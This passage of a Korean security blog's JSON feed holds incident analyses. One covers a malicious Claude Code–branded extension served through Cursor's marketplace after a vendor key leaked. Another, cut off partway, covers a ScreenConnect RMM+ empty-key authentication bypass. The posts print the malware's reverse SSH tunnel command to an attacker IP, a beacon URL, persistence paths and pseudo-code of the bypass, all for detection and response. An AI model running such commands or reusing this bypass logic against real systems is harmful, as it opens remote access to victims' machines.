값을 계약으로 고정하지 않으면 다음 사고에서 며칠이 될 수 있다.</li><li><strong>접속기록 사본</strong>: 위·변조 방지 형태로 고객사에 상시 전송. 사고 후 요청해서 받는 구조는 체류 시간만큼의 공백을 남긴다.</li><li><strong>테넌트 격리 증적</strong>: 공유 관리자 계정 금지, 고객사별 콘솔 분리, 분기별 격리 시험 결과 제출.</li><li><strong>재위탁 동의와 목록</strong>: STT·클라우드·백업 등 하위 수탁사 목록과 국외 이전 여부(제26조 제6항).</li><li><strong>포렌식 협조</strong>: 사고 시 원본 로그·이미지 확보를 위한 보존 명령과 고객사 직접 조사권.</li><li><strong>삭제·반환 증명</strong>: 위탁 종료 시 원문·백업·파생 인덱스까지 삭제했다는 증명.</li></ul>\n<h3>(5) 정보주체가 지금 할 수 있는 일</h3>\n<p>유출 항목이 이미 공개된 상황에서 개인이 할 수 있는 것은 제한적이지만, 무의미하지는 않다. 상담 중에 비밀번호를 말한 적이 있다면 그 비밀번호는 재사용 여부와 무관하게 전부 교체해야 한다. 코인원과 같은 비밀번호를 쓰는 다른 사이트가 있으면 그곳도 대상이다. 거래소·고객센터·금융사를 사칭해 비밀번호, OTP, 인증번호를 묻는 연락은 예외 없이 사칭이다. 상담 내용을 정확히 인용하며 접근하는 전화일수록 더 그렇다 — 이번 사고는 그 인용이 가능해진 상태를 만들었다. 거래소 지갑 주소록에 등록된 출금 주소를 직접 확인하고, 본인이 하지 않은 로그인·출금 시도 알림을 켜 두는 것도 같은 이유에서다.</p>\n<p>유출된 정보로 손해가 발생했다면 손해배상 또는 법정손해배상을 청구할 수 있고, 이때 회사의 고의·과실을 정보주체가 증명할 필요는 없다. 개인정보 분쟁조정위원회(1833-6972), 개인정보침해 신고센터(118), 금융감독원(1332)이 접수 창구다.</p>\n<p>이번 사고가 남기는 구조적 질문은 하나다. 위탁 상담은 고객이 자기 신원을 <strong>말로</strong> 제출하도록 강제하는 유일한 채널이고, 그 채널의 데이터는 위탁사 안에 평문으로 쌓인다. 코인원의 11개 항목과 번개장터의 녹취는 서로 다른 회사의 사고가 아니라, 같은 설계가 만든 두 개의 결과다. 계약서의 보호조치 조항을 늘리는 것으로는 이 구조가 바뀌지 않는다. 상담 시스템이 원문을 보관하지 않고, 비식별화가 저장의 전제가 되고, 고객사가 위탁사 내부를 자기 로그로 볼 수 있을 때에야 한 곳이 뚫려도 두 플랫폼이 함께 새는 일은 없어진다.</p>",
      "date_published": "2026-11-16T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "위탁사침해",
        "BPO보안",
        "메타엠",
        "코인원",
        "번개장터",
        "STT비식별화",
        "테넌트격리"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_metam_bpo.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/cursor-fireworks-supply-chain/",
      "url": "https://dohyeontech.github.io/posts/cursor-fireworks-supply-chain/",
      "title": "[침해 분석] Cursor × Fireworks 공급망 침해 — 추론 벤더 키 하나가 악성 Claude Code 확장 배포 권한까지 넘었다",
      "summary": "추론 벤더 키 하나가 읽기 전용 버킷의 미마스킹 자격증명을 거쳐, 마켓플레이스 캐시에 악성 Claude Code 빌드를 써넣는 권한까지 도달했다. 11시간 노출 창, 최대 5,000명의 개발자.",
      "content_html": "<p>2026년 10월 29일 오전 2시 27분(PT)부터 오후 1시 35분까지, 약 11시간 동안 Cursor의 VS Code 확장 마켓플레이스에서 <code>Anthropic.claude-code</code> 확장의 2.1.312와 2.1.313 빌드가 정상 배포본과 구분되지 않는 형태로 내려받아졌다. Anthropic이 만든 확장이 아니었고, Anthropic 제품의 취약점도 아니었다. Cursor가 11월 13일 공개한 사고 보고서는 그 악성 빌드가 어디서 왔는지를 처음으로 끝까지 설명한다 — 추론·학습 벤더인 Fireworks AI에 Cursor가 발급했던 <strong>액세스 키 하나</strong>에서 출발해, 데이터 공유용 읽기 전용 버킷, 내부 SaaS 도구들, 그리고 마지막에 <strong>확장을 게시할 수 있는 권한</strong>까지 이어지는 다섯 단계 사슬이다.</p>\n<p>이 사건이 단순한 데이터 유출과 다른 이유는 침해의 끝이 데이터가 아니라 <strong>배포 경로</strong>였다는 점이다. 개발자의 노트북에 확장으로 들어간 코드는 사용자 몫의 소프트웨어가 아니라 공급자의 신뢰 그 자체를 실행한다. Cursor는 최대 5,000명이 악성 빌드를 받았을 수 있다고 추정했고, 코드 오류와 관리자 권한 요구 때문에 대부분의 호스트에서 SSH 터널 자체는 열리지 않았다고 밝혔다. 그러나 터널이 실패해도 공격자 공개키는 <code>authorized_keys</code>에 남았고, 지속성 스크립트는 확장 디렉터리 바깥에 심겼다. 확장을 삭제하는 것으로 끝나지 않는 침해다.</p>\n<p>같은 달 Fireworks AI는 두 건의 침해를 연달아 공개했다. 10월 6일 내부 자격증명 오용으로 일부 고객 계정의 평가 작업 환경변수(API 키·토큰)가 노출됐고, 10월 23일에는 R&amp;D 머신을 호스팅하던 서드파티 클라우드가 뚫리면서 개발 머신 접근과 추가 고객 데이터(청구 정보, 일부 고객의 시크릿·데이터셋·미완성 모델 가중치) 영향이 확인됐다. Unit 42가 포렌식에 투입됐고, Fireworks는 금전 동기의 범죄 조직이 훔친 LLM 접근 권한을 불법 라우팅 게이트웨이에 파는 <strong>LLMJacking</strong>과 연관됐다고 밝혔다. Wiz는 이번 달 AI 개발 플랫폼을 겨냥한 연쇄 침해(Railway의 부정 AI 과금 약 74만 달러, Northflank, Lightning AI, OpenCode, Warp)를 \"Black October\"이라 명명했다. Cursor 사슬은 그 연쇄의 하류에 있는 한 갈래지만, 피해의 형태는 가장 나쁜 쪽이다 — 돈이 아니라 개발자 워크스테이션의 원격 접근이다.</p>\n<h2>1. 다섯 단계 사슬: '읽기 전용' 키가 배포 권한이 되기까지</h2>\n<p>Cursor 보고서가 밝힌 경로는 각 단계가 다음 단계의 열쇠를 넘겨주는 구조다. 어느 한 지점에서 자격증명이 범위를 넘지 못했다면 사슬은 끊겼다.</p>\n<div class=\"codeblock\"><pre><code>[1] Fireworks에 발급한 Cursor 액세스 키가 Fireworks 쪽에서 노출\n        │  (키 소유 = Cursor의 공유 데이터 접근 권한)\n        ▼\n[2] 읽기 전용 공유 스토리지 버킷 전체 복사\n     └ 2025년 위주 코딩 에이전트 트레이스 (Privacy Mode 미사용, 학습 허용분)\n     └ 일부 트레이스에 마스킹되지 않은 자격증명  ← 사슬의 실제 결절\n        │  (트레이스에 섞여 있던 제3자 SaaS 자격증명)\n        ▼\n[3] Cursor 내부 SaaS 도구 접근\n     └ 아카이브된 비프로덕션 소스 저장소(사업 연락처 일부)\n     └ 고객지원 데이터·이메일 대화, 사용 지표·연락처\n     └ 일부 코딩 에이전트 대화 요약\n     └ 고객이 지원팀에 보낸 자격증명\n        │  (내부 시스템에서 꺼낸 '확장 배포용' 자격증명)\n        ▼\n[4] 마켓플레이스 캐시에 악성 VSIX 직접 게시 (2026-10-29 02:27~13:35 PT)\n        │  (최대 5,000명이 특정 캐시 버전 요청)\n        ▼\n[5] 개발자 호스트에서 로더 실행 → SSH 키·지속성·리버스 터널</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>노출 규모는 Cursor 기준으로 트레이스가 전체 사용자의 <strong>0.05% 미만</strong>, API 자격증명이 <strong>0.01% 미만</strong>이다. 비율만 보면 작다. 그러나 이 사건에서 그 비율은 피해의 크기를 말해주지 않는다. 트레이스에 섞인 자격증명은 \"어느 고객이 몇 명\"의 문제가 아니라 <strong>어느 시스템에 접근할 수 있는 키였는가</strong>의 문제였고, 그중 하나가 마켓플레이스 배포 경로를 열었다. 데이터 유출 사고의 심각도는 유출된 사용자 수가 아니라, 유출된 자격증명이 다음에 무엇을 할 수 있는지로 결정된다.</p>\n<p>[4]단계의 표현을 그대로 읽으면 중요한 사실이 하나 드러난다. 공격자는 확장을 \"게시\"한 것이 아니라 <strong>마켓플레이스 제공에 쓰이는 캐시에 직접 사본을 놓았다</strong>. Cursor가 공개한 문장만으로 판단하면, 그 경로에서 실질적인 배포 승인 경계는 아티팩트 서명 검증이 아니라 <strong>그 캐시에 쓸 수 있는 자격증명의 보유 여부</strong>였다. 패키지 이름 <code>Anthropic.claude-code</code>는 게시자 네임스페이스를 사칭했고, 사용자 입장에서 그 이름은 신뢰의 전부다. Open VSX 원본에는 악성코드가 없었고 Anthropic 시스템도 침해되지 않았다 — 즉 이 침해는 \"확장 생태계\"의 문제가 아니라 <strong>한 공급자의 서빙 캐시 무결성</strong> 문제였다.</p>\n<h2>2. 근본 원인: 자격증명이 흐르는 경로를 자산으로 세지 않았다</h2>\n<p>이 사슬에는 메모리 손상도, 경쟁 조건도, 인증 우회 취약점도 없다. 있는 것은 세 개의 설계 판단이고, 각각이 다음 단계의 권한을 넓혔다.</p>\n<p><strong>첫째, 데이터 평면에 평문 자격증명이 흘렀다.</strong> 모델 학습용으로 공유하는 트레이스는 본질적으로 프롬프트·도구 호출·터미널 출력의 기록이다. 개발자가 에이전트에게 붙여넣는 값에는 API 키와 토큰이 포함되고, 마스킹이 한 번 새면 그 값은 \"학습 데이터\"라는 이름으로 저장소에 남는다. Cursor의 사후 조치 목록에 <code>모든 코드 저장소에 시크릿 스캐닝 추가</code>가 있는데, 이번에 뚫린 지점은 코드 저장소가 아니라 <strong>트레이스와 지원 티켓</strong>이었다. 시크릿 스캐닝을 코드에만 걸어두면 데이터 평면은 그대로 사각지대로 남는다.</p>\n<p><strong>둘째, 벤더 키의 권한 범위가 데이터 범위와 같았다.</strong> Cursor가 Fireworks에 발급한 키는 \"함께 학습하기 위해 공유한 데이터\" 전체를 읽을 수 있었다. 문제는 그 버킷이 읽기 전용이었다는 사실이 안전장치로 읽힌다는 착각이다. 읽기 전용은 <strong>변조</strong>를 막지만 <strong>열람</strong>은 막지 않는다. 공유 데이터 버킷의 위협 모델은 \"상대가 데이터를 바꾸는가\"가 아니라 \"상대 자격증명이 탈취되면 무엇이 복사되는가\"다. 여기에 더해 Fireworks 쪽에서 그 키가 어떻게 보관됐는지는 두 회사의 공개 문서 어디에도 특정되지 않았다. Fireworks는 10월 6일 사고에서 평가 작업 환경변수에 시크릿이 들어 있었다고 밝혔고, Cursor는 \"키가 Fireworks에 의해 노출됐다\"고만 적었다. 어느 사고에서 어느 키가 노출됐는지 연결하는 문장은 양쪽 모두에 없다 — 공급망 사고의 귀속이 늘 그렇듯, 경계 양쪽이 각자의 문장만 남긴다.</p>\n<p><strong>셋째, 발행 권한이 내부 시스템 자격증명에 얹혀 있었다.</strong> Cursor의 표현은 \"내부 시스템에서 유출된 데이터에 있던 자격증명을 사용해\" 악성 사본을 캐시에 놓았다는 것이다. 즉 확장 배포라는 <strong>공급자 신뢰의 최상위 동작</strong>이, 데이터 평면과 같은 자격증명 저장소에서 꺼낼 수 있는 자격증명으로 수행됐다. 정상적인 분리는 이렇게 생겨야 한다.</p>\n<div class=\"codeblock\"><pre><code>데이터 평면 (학습·지원·분석)         발행 평면 (마켓플레이스)\n  └ 벤더 공유 키, 읽기 전용            └ 게시 권한, 서명 키\n  └ 트레이스·티켓·지표 저장소          └ VSIX 캐시, 게시자 레지스트리\n  └ 유출 시: 데이터 열람               └ 유출 시: 임의 코드 배포\n        └────────── 자격증명 저장소 공유 금지 ──────────┘</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 두 평면이 같은 자격증명 저장소를 쓰는 순간, 트레이스 한 줄에 섞인 키가 임의 코드 배포로 승격된다. Cursor가 사후에 \"모든 노출 자격증명 회전\"과 \"서비스 제공자 전반의 네트워크 접근 제한 확대\"를 넣은 것은 이 승격 경로를 끊는 조치로 읽힌다. 다만 구조적으로 더 강한 해법은 자격증명 회전이 아니라 <strong>발행 권한을 사람이 승인하는 별도 경로로 분리하고, 게시자 서명을 서빙 시점에 검증</strong>하는 것이다.</p>\n<h2>3. 익스플로잇 체인: 모듈 로드 한 줄에서 리버스 SSH 터널까지</h2>\n<p>악성 VSIX의 변조 지점은 <code>extension.js</code>다. Microsoft 위협 인텔리전스가 복원한 로더는 확장의 정상 초기화 <strong>이전</strong>에 실행되는 함수로, Node.js API만으로 정보 수집·파일 수정·OS 명령 실행을 수행한다. 별도 바이너리를 내려받지 않고 내장 도구만 쓰며, 명령 출력을 억제하고 오류를 조용히 삼킨다. 확장은 로드 후에도 정상 동작하기 때문에 사용자는 이상을 느끼지 못한다.</p>\n<p>수집 항목은 호스트명, 사용자명, OS, 아키텍처, 홈 디렉터리, 작업 디렉터리, Git 설정 이메일, 그리고 <strong>환경변수 이름</strong> 중 <code>KEY</code>, <code>TOKEN</code>, <code>SECRET</code>, <code>PASS</code>, <code>AWS</code>, <code>GCP</code>가 들어간 최대 40개다. 값이 아니라 이름만 보낸다는 점이 흥미롭다. 이는 즉시 탈취가 아니라 <strong>어떤 종류의 시크릿이 이 호스트에 있는지의 목록</strong>을 만드는 정찰이다. 공인 IP는 <code>ifconfig.me</code>와 <code>api.ipify.org</code> 같은 정상 서비스로 조회하고, 결과는 <code>hxxp://134[.]209[.]82[.]225:8099/beacon</code>으로 POST된다.</p>\n<p>SSH 단계는 역할이 다른 <strong>두 개의 신원</strong>을 쓴다. 하나는 피해자 계정에 대한 접근을 허가하는 공개키(<code>svc-telemetry</code> 주석, 지문 <code>SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk</code>)이고, 다른 하나는 터널 서버로 나가는 연결을 인증하는 개인키다. 로더는 <code>authorized_keys</code>에 <code>svc-telemetry</code> 표식이 없을 때만 키를 덧붙이고, 개인키는 호스트명과 홈 경로에서 파생한 10자리 16진수를 붙인 <code>.stk_&lt;10 hex&gt;</code> 임시 파일로 떨어뜨린 뒤 <code>ssh -i</code>로 넘긴다.</p>\n<p>터널 명령줄은 목적이 그대로 드러난다.</p>\n<div class=\"codeblock\"><pre><code>ssh -N -R '*:0:localhost:22' \\\n    -o StrictHostKeyChecking=no \\\n    -o UserKnownHostsFile=/dev/null \\\n    -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \\\n    -o ExitOnForwardFailure=yes -o IdentitiesOnly=yes \\\n    -i &lt;홈경로 해시&gt;.stk_&lt;10 hex&gt; tunnel@134.209.82.225</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>-R '*:0:localhost:22'</code>는 원격 서버에 포트를 하나 할당받아, 그 포트로 들어온 연결을 <strong>피해자 루프백의 22번</strong>으로 넘기라는 뜻이다. 호스트 키 검증을 끄고(<code>StrictHostKeyChecking=no</code>), <code>known_hosts</code>를 <code>/dev/null</code>로 우회하며, 대화형 프롬프트를 없애 자동 재연결이 가능하게 했다. 유닉스 계열에서는 <code>autossh -M 0</code>을 우선 시도하고 없으면 <code>ssh</code>로 떨어지며, Windows에서는 숨김 PowerShell 루프를 쓴다. 루프는 SSH가 죽고 60초 뒤 다시 붙는다.</p>\n<p>지속성은 플랫폼별로 정상 모니터링 컴포넌트를 사칭한다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>플랫폼</th><th>시작 지점</th><th>주요 아티팩트</th></tr></thead><tbody><tr><td>macOS</td><td>사용자 LaunchAgent (<code>RunAtLoad</code>, <code>KeepAlive</code>)</td><td><code>~/Library/LaunchAgents/com.apple.sysmond.plist</code>, <code>~/.config/.smt</code>, <code>~/.config/.smtk</code></td></tr><tr><td>Linux</td><td>사용자 crontab <code>@reboot</code></td><td><code>~/.config/.smt</code>, <code>~/.config/.smtk</code>, <code>/tmp/.stk_&lt;10 hex&gt;</code></td></tr><tr><td>Windows</td><td><code>SysMon</code> 예약 작업 (SYSTEM 실행 시도)</td><td><code>%USERPROFILE%\\.config\\smt.cmd</code>, <code>%USERPROFILE%\\.config\\smtk</code>, <code>%TEMP%\\.stk_&lt;10 hex&gt;</code></td></tr><tr><td>Windows 대체</td><td>시작 프로그램 폴더 배치 파일</td><td><code>%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sysmon.cmd</code></td></tr></tbody></table></div>\n<p>이름이 <code>SysMon</code>, <code>com.apple.sysmond</code>인 것은 의도적이다. 관리자가 프로세스 목록에서 봤을 때 시스템 모니터링으로 보이게 만든 위장이고, Microsoft는 같은 이유로 \"이름만으로 악성 여부를 판단하지 말고 각 시작 개체의 실행 내용을 확인하라\"고 권고한다.</p>\n<p>성공과 실패를 구분해서 읽어야 한다. 역방향 터널이 열리려면 피해자 호스트의 SSH 서비스가 켜져 있어야 하고(<code>systemsetup -setremotelogin on</code>, <code>Add-WindowsCapability ... OpenSSH.Server</code> 시도), 그건 관리자 권한을 요구한다. Cursor는 코드 자체의 오류와 권한 요구 때문에 대부분의 macOS·Windows 호스트에서 이 단계가 실패했다고 밝혔다. 하지만 실패한 것은 <strong>터널</strong>이지 <strong>침해</strong>가 아니다. 공격자 공개키는 이미 <code>authorized_keys</code>에 들어갔고, 지속성 스크립트는 확장 디렉터리 밖에 남았고, 호스트 정보는 전송됐다. 서버가 내려간 지금도 그 키와 스크립트는 로컬에 그대로 있을 수 있다.</p>\n<div class=\"codeblock\"><pre><code># Cursor 공지가 공개한 침해 지표 (2026-10-29 노출분)\n패키지     Anthropic.claude-code 2.1.312 / 2.1.313\n          darwin-arm64, win32-x64\n\nVSIX 2.1.312 darwin-arm64\n  fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364\nVSIX 2.1.312 win32-x64\n  3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081\nVSIX 2.1.313 darwin-arm64\n  80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c\nVSIX 2.1.313 win32-x64\n  6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731\nextension.js\n  ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15\n\n네트워크   134[.]209[.]82[.]225\n           (22/tcp tunnel, 8099/tcp beacon)\n           hxxp://134[.]209[.]82[.]225:8099/beacon\n           127[.]0[.]0[.]1:8099/beacon\nSSH 키     ssh-ed25519 ... svc-telemetry\n           SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk\n파일       ~/.config/.smt, ~/.config/.smtk, .stk_&lt;10 hex&gt;\n           smt.cmd, sysmon.cmd\n시작 개체  com.apple.sysmond(LaunchAgent), SysMon(예약 작업)\n           Startup\\sysmon.cmd\n프로세스   ssh -N -R '*:0:localhost:22', autossh -M 0</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<h2>4. 제거와 재설계: 호스트에서 확인할 것, 플랫폼이 분리해야 할 것</h2>\n<p><strong>호스트 점검.</strong> 가장 빠른 판별은 <code>authorized_keys</code>의 표식이다. macOS·Linux는 <code>grep -qs svc-telemetry ~/.ssh/authorized_keys</code>, Windows는 <code>%USERPROFILE%\\.ssh\\authorized_keys</code>와 <code>C:\\ProgramData\\ssh\\administrators_authorized_keys</code>를 함께 본다. 키가 없더라도 확장 설치 기록, <code>.stk_</code> 파일, 시작 개체를 별도로 확인해야 한다. Microsoft는 이름이 같은 정상 모니터링 소프트웨어가 있을 수 있으므로 시작 개체의 <strong>실행 내용</strong>을 확인하고, 키를 지울 때도 지문을 대조해 정확히 그 항목만 제거하면서 정상 SSH 키와 원격 개발 설정을 보존하라고 권고한다.</p>\n<p><strong>제거 순서.</strong> 확장 삭제가 첫 단계가 되면 안 된다. 증거 보존 → 호스트 격리 → 공격자 키·터널 프로세스·지속성 개체·확장 제거 → 신뢰할 수 있는 다른 시스템에서 자격증명 회전과 세션 폐기 → 재구축 여부 판단 순이다. 노출 창 동안 그 호스트에 있던 토큰·쿠키·SSH 키는 \"이름만 수집됐다\"는 이유로 안전하다고 볼 수 없다. 터널이 열리지 않았더라도 로컬 코드 실행은 성립했고, 그 코드는 임의 명령을 실행할 능력을 가졌다. Cursor의 조사 스크립트와 제거 스크립트는 공지에 첨부돼 있으니 실행 전에 내용을 확인하고, 실행 후에도 나열된 아티팩트가 남지 않았는지 다시 검증해야 한다.</p>\n<p><strong>플랫폼 운영자에게 남는 설계 과제.</strong> 이 사슬은 네 가지 분리로 끊긴다.</p>\n<p>첫째, <strong>데이터 평면의 시크릿을 유입 시점에 걸러야 한다.</strong> 코드 저장소 스캐닝은 이미 하던 일이고 이번에 뚫린 곳이 아니다. 에이전트 트레이스, 지원 티켓, 로그 아카이브처럼 \"데이터\"로 분류된 저장소에 같은 스캐너를 걸고, 마스킹 실패를 파이프라인 실패로 처리해야 한다.</p>\n<p>둘째, <strong>벤더 키는 데이터셋·작업 단위로 쪼개고 수명을 짧게 가져가야 한다.</strong> 하나의 읽기 전용 키가 공유 버킷 전체를 읽는 구조는 편리하지만, 그 편리함이 곧 단일 실패점이다. 가능하면 버킷 단위·접두사 단위 권한, 짧은 TTL, 발급자 네트워크 대역 제한을 함께 건다. Fireworks가 사후에 \"불필요한 상향 권한 제거\"와 \"네트워크 경로 제한\"을 넣은 것이 같은 방향이다.</p>\n<p>셋째, <strong>발행 권한은 데이터 자격증명과 다른 저장소에 두고, 서빙 시점에 게시자 신원을 검증해야 한다.</strong> 캐시에 쓸 수 있는 자격증명 하나가 게시자 네임스페이스 사칭으로 이어지지 않으려면, 아티팩트가 실제 게시자의 서명을 갖고 있는지 내려주는 순간 확인해야 한다. 서명 없이 이름만 맞으면 통과하는 구조는 마켓플레이스가 아니라 파일 서버다.</p>\n<p>넷째, <strong>개발자 워크스테이션의 이그레스를 기본 차단으로 둬야 한다.</strong> 이 악성코드의 C2는 아웃바운드 22번 역터널이다. 업무 단말에서 임의 프로세스가 외부 22번으로 나가는 것을 허용하는 조직은, 지속성 개체를 다 지워도 같은 채널을 다시 열 수 있다. <code>autossh</code>, <code>ssh -R</code> 조합에 대한 프로세스 탐지와 함께, 확장 설치 쿨다운과 게시자 허용 목록(Cursor의 하드닝 가이드가 제공하는 통제)을 켜두면 패키지가 올라온 직후의 창을 줄일 수 있다.</p>\n<p>이번 사건의 교훈은 \"AI 도구를 조심하자\"로 요약되지 않는다. Cursor가 사후에 재배포한 것은 프로덕션 인프라 전체였고, 회전한 것은 발견된 모든 자격증명이었다. 그 정도의 조치가 필요했던 이유는 침해의 시작이 코드 결함이 아니라 <strong>신뢰 경계를 그은 방식</strong>이었기 때문이다. 공급망은 계약서가 아니라 자격증명 그래프다. 어느 키가 어느 데이터를 읽고, 그 데이터가 어느 키를 품고 있고, 그 키가 어느 평면에 쓸 수 있는지 — 이 질문에 답하지 못하는 조직은 자기 마켓플레이스가 아니라 남의 버킷에서 시작된 사슬의 다섯 번째 단계에 서 있게 된다.</p>\n<p><em>참고 자료: <a href=\"https://cursor.com/blog/security-incident-update\">Cursor 사고 보고서 (2026-11-13)</a>, <a href=\"https://cursor.com/blog/claude-code-extension-security-notice\">Cursor 보안 공지 — 악성 확장·IOC·제거 스크립트 (2026-10-29)</a>, <a href=\"https://www.microsoft.com/en-us/security/blog/2026/10/30/inside-malicious-claude-code-branded-cursor-extension-persistent-ssh-backdoor/\">Microsoft Security — 지속형 SSH 백도어 분석 (2026-10-30)</a>, <a href=\"https://fireworks.ai/security/bulletins/october-2026-security-incident\">Fireworks AI 보안 공지 — 2026년 10월 사고 (10-10)</a>, <a href=\"https://fireworks.ai/security/bulletins/october-2026-security-incident-update\">Fireworks AI 공지 업데이트 (11-09)</a>, <a href=\"https://www.bleepingcomputer.com/news/security/cursor-confirms-security-breach-led-to-malicious-claude-code-extension/\">BleepingComputer (2026-11-14)</a>, <a href=\"https://www.wiz.io/blog/black-october-for-ai-developer-platforms\">Wiz — Black October</a></em></p>",
      "date_published": "2026-11-15T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "공급망공격",
        "Cursor",
        "FireworksAI",
        "ClaudeCode",
        "리버스SSH",
        "LLMJacking"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_cursor_fireworks.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/screenconnect-rmm-accesskey-bypass-sckit/",
      "url": "https://dohyeontech.github.io/posts/screenconnect-rmm-accesskey-bypass-sckit/",
      "title": "[긴급 분석] ScreenConnect RMM+ 빈 액세스 키 인증 우회 — 48개 조직을 넘긴 SCKit 공급망 캠페인",
      "summary": "서드파티 확장 RMM+의 빈 액세스 키가 계정·MFA를 우회해 POST 한 번을 인증으로 통과시켰다. 90분 만에 48개 조직 288개 엔드포인트를 감염시킨 SCKit 체인의 원리(RelayTrap 세션 탈취)와 침해 지표, 온프레미스 파트너가 지금 해야 할 격리·폐기 절차를 정리했다.",
      "content_html": "<p>원격 관리·모니터링(RMM) 콘솔은 MSP 비즈니스의 신뢰 뿌리다. 고객사 엔드포인트에 상시 연결되어 있고, 그 콘솔에 접근하는 순간 고객사 전체가 같은 권한으로 열린다. 2026년 11월 11일, 그 뿌리 자체가 침해 경로가 된 캠페인이 관측됐다. Huntress는 11월 11일 17:47 UTC부터 약 90분 동안 최소 288개 관리 엔드포인트, 48개 조직에서 악성 ScreenConnect 클라이언트 설치를 확인했다. 감염의 3분의 1은 첫 10분 안에 몰렸고, 최신 빌드인 26.6.6.9747과 26.7.6.9783 모두 영향을 받았다.</p>\n<p>진입점은 ScreenConnect 본체가 아니라 그 위에 얹힌 서드파티 확장이었다. ConnectWise는 11월 11일 22:45 UTC, Labtech Plus·RMM Plus·RMM+·RMM Plus Password Link·RMM+ Password Link 등 확장 5종을 약 400개 파트너 환경에서 비활성화했다고 공지했다. Huntress는 그중 <strong>RMM+ 1.0.31과 1.0.32</strong>가 실제 공격 경로였다고 특정했다. 공격자는 그 확장이 제공하는 API를 인증 없이 호출해 관리 패널 명령을 실행했고, 48개 조직의 엔드포인트에 공격자 소유의 ScreenConnect 클라이언트를 심었다.</p>\n<p>캠페인은 11월 11일로 끝나지 않았다. 11월 13일 14:23 ET, Blackpoint SOC는 <strong>온프레미스 ScreenConnect 인스턴스</strong>를 대상으로 한 2차 웨이브를 관측했다. <code>C:\\WINDOWS\\TEMP\\sckit-decoder.ps1</code>이 다시 나타났고 <code>185.241.211[.]197</code>으로 향하는 무단 클라이언트 설치가 확인됐다. 샘플은 아직 확보되지 않았지만 이전 툴킷의 변형으로 추정된다. 호스팅 환경은 확장이 일괄 비활성화됐지만, 온프레미스 파트너는 아직 자기 인스턴스의 상태를 자기가 확인해야 하는 국면이다. 이 확장 결함에는 아직 CVE가 부여되지 않았다.</p>\n<h2>1. 구조적 결함: 계정도 MFA도 아닌 공유 키 한 줄</h2>\n<p>RMM+는 ScreenConnect의 계정·역할·MFA 체계를 그대로 쓰지 않는다. 대신 확장 자체가 발급하는 <strong>공유 액세스 키(shared access key)</strong> 하나로 요청을 인증한다. 관리자는 확장 설정에서 이 키를 넣고, 외부 자동화는 그 키를 헤더나 파라미터에 실어 확장 API를 호출한다. 문제는 키를 <em>넣지 않은</em> 설치의 기본값이었다.</p>\n<blockquote><p>확장 설명문은 “강한 키를 설정하라”고 안내하지만, 키를 설정하지 않은 상태의 기본값은 빈 문자열(<code>\"\"</code>)이었다. 인증 검사는 요청에서 온 값과 설정값을 비교하는데, 설정값이 빈 문자열이면 <strong>요청도 빈 문자열일 때 비교가 성립</strong>한다. 빈 값을 거부하는 별도 검사가 없었기 때문에, 키를 한 번도 넣지 않은 설치는 그 자체로 무인증 API가 됐다.</p></blockquote>\n<p>이 결함의 성격을 정확히 이해하려면 두 가지를 구분해야 한다. 첫째, 이건 암호학적 취약점이 아니라 <strong>설정 기본값과 입력 검증의 문제</strong>다. 메모리 손상도, 경쟁 조건도 없다. 요청 한 번이 형식상 올바르게 도착하면 인증 단계가 통과한다. 둘째, 이 확장은 ScreenConnect의 계정 체계를 우회하도록 설계됐기 때문에, 확장이 뚫리면 <strong>MFA를 켜 둔 파트너도 보호받지 못한다</strong>. 관리 콘솔의 2차 인증은 이 경로와 무관하다.</p>\n<div class=\"codeblock\"><pre><code>// 결함 구조를 재구성한 의사 코드 (벤더 소스 아님)\n// 확장 설정: accessKey 미설정 → 기본값 \"\"\n$configured = get_extension_setting('accessKey');   // \"\" (관리자가 입력한 적 없음)\n\n$incoming = $_POST['key'];                          // 공격자: \"\"\nif ($incoming === $configured) {                    // \"\" === \"\" → true\n    dispatch_command();                             // 인증 통과, 명령 실행\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>실무적으로 이 구조가 위험한 이유는 <strong>실패가 조용하다</strong>는 점이다. 확장을 설치하고 키를 넣지 않은 채로 몇 달을 운영해도 화면에는 아무 경고가 없다. 관리자는 확장이 “동작한다”고 생각하지만, 실제로는 인증 계층이 비어 있는 상태로 열려 있을 수 있다. 사후에 확인할 수 있는 것은 설정 화면의 키 필드가 비어 있었는지 여부뿐이다.</p>\n<h2>2. 익스플로잇 체인: Run 명령에서 세션 쿠키 함정까지</h2>\n<p>인증을 통과한 뒤의 흐름은 정교하다. 공격자는 감염된 패널의 <strong>Run 명령</strong>으로 대상 엔드포인트에 SYSTEM 권한 일괄 실행을 걸었다. Huntress가 정적 분석으로 복원한 단계는 다음과 같다.</p>\n<p>먼저 <code>C:\\Windows\\TEMP\\sc.msi</code>가 무인 설치된다. 공격자가 제어하는 ScreenConnect 설치본으로, 정상 클라이언트와 나란히 두 번째 연결을 만든다. 이어서 base64 드로퍼 <code>sckit-run.bat</code>과 <code>sckit-decoder.ps1</code>이 시스템별로 맞춤화된 툴킷을 풀어놓는다.</p>\n<p>툴킷 구성은 목적이 분명하다. <code>Panel-Lateral.ps1</code>은 패널 장악을 시도하는데, Huntress가 관측한 모든 로그에서 이 단계는 